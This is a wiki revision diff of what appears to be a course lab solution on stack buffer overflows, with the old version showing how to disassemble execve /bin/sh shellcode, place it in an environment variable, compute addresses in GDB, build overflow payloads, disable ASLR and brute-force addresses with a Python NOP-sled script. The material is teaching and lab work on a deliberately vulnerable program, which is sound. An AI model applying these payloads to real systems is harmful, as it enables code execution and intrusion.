This shows you the differences between two versions of the page.
Both sides previous revision Previous revision Next revision | Previous revision | ||
session:solution:09 [2015/07/15 20:13] Razvan Deaconescu [Task: Buffer is too small: Use environment variable to store the shellcode] |
session:solution:09 [2020/07/19 12:49] (current) |
||
---|---|---|---|
Line 1: | Line 1: | ||
- | ====== | + | ====== |
- | + | ||
- | ===== Create and disassemble binary shellcodes ===== | + | |
- | + | ||
- | We extract the two shellcode byte strings from the given links ([[http:// | + | |
- | $ cat 216.print | + | |
- | \x6a\x46\x58\x31\xdb\x31\xc9\xcd\x80\xeb\x21\x5f\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe6\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x57\x56\x53\x89\xe1\xcd\x80\xe8\xda\xff\xff\xff | + | |
- | $ cat 827.print | + | |
- | \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80 | + | |
- | </ | + | |
- | + | ||
- | and then we use '' | + | |
- | $ echo -en ' | + | |
- | $ echo -en ' | + | |
- | </ | + | |
- | + | ||
- | Afterwards, we disassemble the binary shellcode files:< | + | |
- | $ objdump -D -b binary -m i386 -M intel 827.bin | + | |
- | + | ||
- | 827.bin: | + | |
- | + | ||
- | + | ||
- | Disassembly of section .data: | + | |
- | + | ||
- | 00000000 < | + | |
- | 0: 31 c0 xor eax,eax | + | |
- | | + | |
- | 3: 68 2f 2f 73 68 | + | |
- | 8: 68 2f 62 69 6e | + | |
- | d: 89 e3 mov ebx,esp | + | |
- | | + | |
- | 10: | + | |
- | 11: 89 e1 mov ecx,esp | + | |
- | 13: b0 0b mov al,0xb | + | |
- | 15: cd 80 int 0x80 | + | |
- | + | ||
- | + | ||
- | $ objdump -D -b binary -m i386 -M intel 216.bin | + | |
- | + | ||
- | 216.bin: | + | |
- | + | ||
- | + | ||
- | Disassembly of section .data: | + | |
- | + | ||
- | 00000000 < | + | |
- | 0: 6a 46 push | + | |
- | | + | |
- | 3: 31 db xor ebx,ebx | + | |
- | 5: 31 c9 xor ecx,ecx | + | |
- | 7: cd 80 int 0x80 | + | |
- | 9: eb 21 jmp 0x2c | + | |
- | | + | |
- | c: 6a 0b push 0xb | + | |
- | | + | |
- | | + | |
- | 10: | + | |
- | 11: 66 68 2d 63 pushw | + | |
- | 15: 89 e6 mov esi,esp | + | |
- | 17: | + | |
- | 18: 68 2f 2f 73 68 | + | |
- | 1d: 68 2f 62 69 6e | + | |
- | 22: 89 e3 mov ebx,esp | + | |
- | 24: | + | |
- | 25: | + | |
- | 26: | + | |
- | 27: | + | |
- | 28: 89 e1 mov ecx,esp | + | |
- | 2a: cd 80 int 0x80 | + | |
- | 2c: e8 da ff ff ff | + | |
- | </ | + | |
- | and we compare the resulting assembly source code to the one in the initial links. We find they are identical conforming we did a proper generation and disassembling of the binary shellcode files. | + | |
- | + | ||
- | ===== Call Trampoline | + | |
TODO | TODO | ||
- | |||
- | ===== Exploit with Known Buffer Address ===== | ||
- | |||
- | TODO | ||
- | |||
- | ===== Brute-Forcing the Buffer Address ===== | ||
- | |||
- | TODO | ||
- | |||
- | ===== NOP Sled ===== | ||
- | |||
- | TODO | ||
- | |||
- | ==== Task: Buffer is too small: Use environment variable to store the shellcode ==== | ||
- | |||
- | < | ||
- | The log file created with [[http:// | ||
- | </ | ||
- | |||
- | We first compile out the source code files:< | ||
- | $ make | ||
- | cc -m32 -Wall -fno-stack-protector -g -c -o vuln.o vuln.c | ||
- | cc -m32 -zexecstack | ||
- | </ | ||
- | |||
- | We want to generate the payload for the shellcode. In order to find it easily in memory, we add '' | ||
- | $ perl -e 'print " | ||
- | $ xxd shellcode_payload | ||
- | 00000000: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA | ||
- | 00000010: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA | ||
- | 00000020: 31c0 5068 2f2f 7368 682f 6269 6e89 e350 1.Ph// | ||
- | 00000030: 5389 e131 d2b0 0bcd 80 | ||
- | </ | ||
- | |||
- | This payload will be the contents of the environment variable where we are going to jump. Let's run the program under GDB with this environment variable defined:< | ||
- | $ SHELLCODE=$(cat shellcode_payload) gdb -q ./vuln | ||
- | Reading symbols from ./ | ||
- | gdb-peda$ start | ||
- | [...] | ||
- | |||
- | gdb-peda$ find " | ||
- | Searching for ' | ||
- | Found 3 results, display max 3 items: | ||
- | [stack] : 0xbffff5b7 (' | ||
- | [stack] : 0xbffff5c0 (' | ||
- | [stack] : 0xbffff5c9 (' | ||
- | |||
- | gdb-peda$ show env | ||
- | SHELLCODE=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA1�Ph// | ||
- | |||
- | XDG_VTNR=7 | ||
- | ORBIT_SOCKETDIR=/ | ||
- | </ | ||
- | We've found the contents of the variable at address '' | ||
- | gdb-peda$ searchmem AAAAAAAAA | ||
- | Searching for ' | ||
- | Found 3 results, display max 3 items: | ||
- | [stack] : 0xbffff5b7 (' | ||
- | [stack] : 0xbffff5c0 (' | ||
- | [stack] : 0xbffff5c9 (' | ||
- | </ | ||
- | Moreover, we could have directly looked for environment variables using the '' | ||
- | gdb-peda$ x/10s * ((char **) environ) | ||
- | 0xbffff505: | ||
- | 0xbffff510: | ||
- | 0xbffff532: | ||
- | 0xbffff545: | ||
- | 0xbffff556: | ||
- | 0xbffff594: | ||
- | 0xbffff5c6: | ||
- | 0xbffff60a: | ||
- | 0xbffff615: | ||
- | 0xbffff625: | ||
- | </ | ||
- | The address above is different because we've used a different program run and the values changed. | ||
- | |||
- | By removing the padding we find out the address of the shellcode in memory< | ||
- | $ python -c 'print hex(0xbffff5b7+32)' | ||
- | 0xbffff5d7 | ||
- | </ | ||
- | This ('' | ||
- | |||
- | In the same GDB session let's also find out the difference between the start address of the '' | ||
- | gdb-peda$ disassemble do_nothing_successfully | ||
- | Dump of assembler code for function do_nothing_successfully: | ||
- | | ||
- | | ||
- | | ||
- | | ||
- | | ||
- | | ||
- | | ||
- | | ||
- | | ||
- | | ||
- | | ||
- | | ||
- | | ||
- | | ||
- | | ||
- | | ||
- | | ||
- | | ||
- | | ||
- | | ||
- | | ||
- | End of assembler dump. | ||
- | gdb-peda$ b *0x08048497 | ||
- | Breakpoint 2 at 0x8048497: file vuln.c, line 12. | ||
- | gdb-peda$ c | ||
- | [...] | ||
- | |||
- | Breakpoint 2, 0x08048497 in do_nothing_successfully (str=0xbffff244 " | ||
- | 12 if (buffer[0] % 8 == 3) | ||
- | gdb-peda$ p &buffer | ||
- | $3 = (char (*)[8]) 0xbffff218 | ||
- | gdb-peda$ p $ebp+4 | ||
- | $4 = (void *) 0xbffff22c | ||
- | gdb-peda$ | ||
- | </ | ||
- | We've used a breakpoint right after the call of '' | ||
- | $ python -c 'print 0xbffff22c-0xbffff218' | ||
- | 20 | ||
- | </ | ||
- | So we'll have to create a payload to trigger the attack that consists of 20 bytes of padding (we'll use '' | ||
- | |||
- | Let's now create the trigger payload in the file '' | ||
- | $ perl -e 'print " | ||
- | $ xxd overflow_payload | ||
- | 00000000: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA | ||
- | 00000010: 4141 4141 d7f5 ffbf 0a | ||
- | </ | ||
- | |||
- | This can now be fed as input to our program and we should end up with a shell in GDB. Let's try it:< | ||
- | $ SHELLCODE=$(cat shellcode_payload) gdb -q ./vuln | ||
- | Reading symbols from ./ | ||
- | gdb-peda$ start < overflow_payload | ||
- | [...] | ||
- | |||
- | gdb-peda$ x/20i 0xbffff5d7 | ||
- | | ||
- | | ||
- | | ||
- | | ||
- | | ||
- | | ||
- | | ||
- | | ||
- | | ||
- | | ||
- | | ||
- | | ||
- | | ||
- | | ||
- | | ||
- | | ||
- | | ||
- | | ||
- | | ||
- | | ||
- | |||
- | gdb-peda$ c | ||
- | Continuing. | ||
- | process 30574 is executing new program: /bin/dash | ||
- | [Inferior 1 (process 30574) exited normally] | ||
- | Warning: not running or target is remote | ||
- | |||
- | gdb-peda$ | ||
- | </ | ||
- | Yes! It works! You can see that we've double checked the placement of the shellcode by disassembling that specific area using '' | ||
- | |||
- | Of course, this address only works in GDB, we'll have to make it work in the "real world" as well. First we check whether ASLR is disabled< | ||
- | $ ldd ./vuln | ||
- | linux-gate.so.1 (0xb7ffd000) | ||
- | libc.so.6 => / | ||
- | / | ||
- | $ ldd ./vuln | ||
- | linux-gate.so.1 (0xb7ffd000) | ||
- | libc.so.6 => / | ||
- | / | ||
- | </ | ||
- | As library files are placed in the same location, we conclude ASLR is disabled. | ||
- | |||
- | <note tip> | ||
- | If ASLR would have been enabled, we could have disabled it using **either** of the two commands below: | ||
- | < | ||
- | $ echo 0 | sudo tee / | ||
- | $ linux32 -3 -R bash -l | ||
- | </ | ||
- | </ | ||
- | |||
- | Let's now see what happened if we ran the program with the current '' | ||
- | $ cat overflow_payload - | SHELLCODE=$(cat shellcode_payload) ./vuln | ||
- | ps | ||
- | Segmentation fault | ||
- | </ | ||
- | As expected it doesn' | ||
- | razvan@einherjar: | ||
- | [212063.796532] show_signal_msg: | ||
- | [212063.796544] vuln[32251]: | ||
- | </ | ||
- | The program failed at EIP '' | ||
- | |||
- | We can use a nice trick to identify the address we need to jump to. We can start the program and not provide input to it. | ||
- | $ SHELLCODE=$(cat shellcode_payload) ./vuln | ||
- | </ | ||
- | |||
- | < | ||
- | For this part you may check the [[http:// | ||
- | |||
- | Now the program expects a form of input. We make use of the fact that the program is blocked and connect to it through GDB on another console:< | ||
- | $ gdb -q -p $(pidof vuln) | ||
- | Attaching to process 2692 | ||
- | Reading symbols from / | ||
- | Reading symbols from / | ||
- | Loaded symbols for / | ||
- | Reading symbols from / | ||
- | Loaded symbols for / | ||
- | [...] | ||
- | |||
- | gdb-peda$ | ||
- | </ | ||
- | |||
- | While in GDB we undertake the same steps we took above to find out the address of the shellcode payload:< | ||
- | gdb-peda$ find " | ||
- | Searching for ' | ||
- | Found 2 results, display max 2 items: | ||
- | [stack] : 0xbffff56c (' | ||
- | [stack] : 0xbffff57a (' | ||
- | gdb-peda$ | ||
- | </ | ||
- | We did it! The address is '' | ||
- | $ python -c 'print hex(0xbffff56c+32)' | ||
- | 0xbffff58c | ||
- | </ | ||
- | The shellcode starts at address '' | ||
- | $ perl -e 'print " | ||
- | </ | ||
- | |||
- | Now that's done, let's try exploiting the program again:< | ||
- | $ cat overflow_payload - | SHELLCODE=$(cat shellcode_payload) ./vuln | ||
- | ps | ||
- | PID TTY TIME CMD | ||
- | 5598 pts/7 00:00:00 cat | ||
- | 5599 pts/7 00:00:00 sh | ||
- | 5618 pts/7 00:00:00 ps | ||
- | 21165 pts/7 00:00:00 bash | ||
- | </ | ||
- | |||
- | Excellent! It worked! We managed to find the "the real" world address of the shellcode in the environment variable, and we've triggered a jump to it. | ||
- | |||
- | === Searching for the address === | ||
- | |||
- | Let's now assume we wouldn' | ||
- | |||
- | To make it easier we would also insert plenty of '' | ||
- | |||
- | Also we would need to jump to different addresses and try running the executable and see whether we found a correct address. For that we would use a variable and increment with a given offset and retry until we get the shell. | ||
- | |||
- | To automate all this process we've created a Python script dubbed '' | ||
- | # | ||
- | |||
- | import struct | ||
- | import os | ||
- | import sys | ||
- | import subprocess | ||
- | |||
- | def write_to_file(filename, | ||
- | f = open(filename, | ||
- | f.write(data) | ||
- | f.close() | ||
- | |||
- | nop_padding_len = 128 | ||
- | NOP = " | ||
- | shellcode = " | ||
- | shellcode_payload = NOP*nop_padding_len + shellcode | ||
- | write_to_file(" | ||
- | |||
- | # Start from address and create overflow_payload to jump to that address. | ||
- | # Increment address by step bytes and retry. For each payload launch | ||
- | # executable through os.system(). | ||
- | step = nop_padding_len / 2 | ||
- | start_address=0xbffff300 | ||
- | |||
- | for offset_index in range(0, 64): | ||
- | # Create overflow payload. | ||
- | jump_address = start_address + step*offset_index | ||
- | overflow_payload = 20*" | ||
- | write_to_file(" | ||
- | |||
- | # Print address and launch executable. | ||
- | print >> sys.stderr, "using address 0x%08x" | ||
- | subprocess.call(" | ||
- | </ |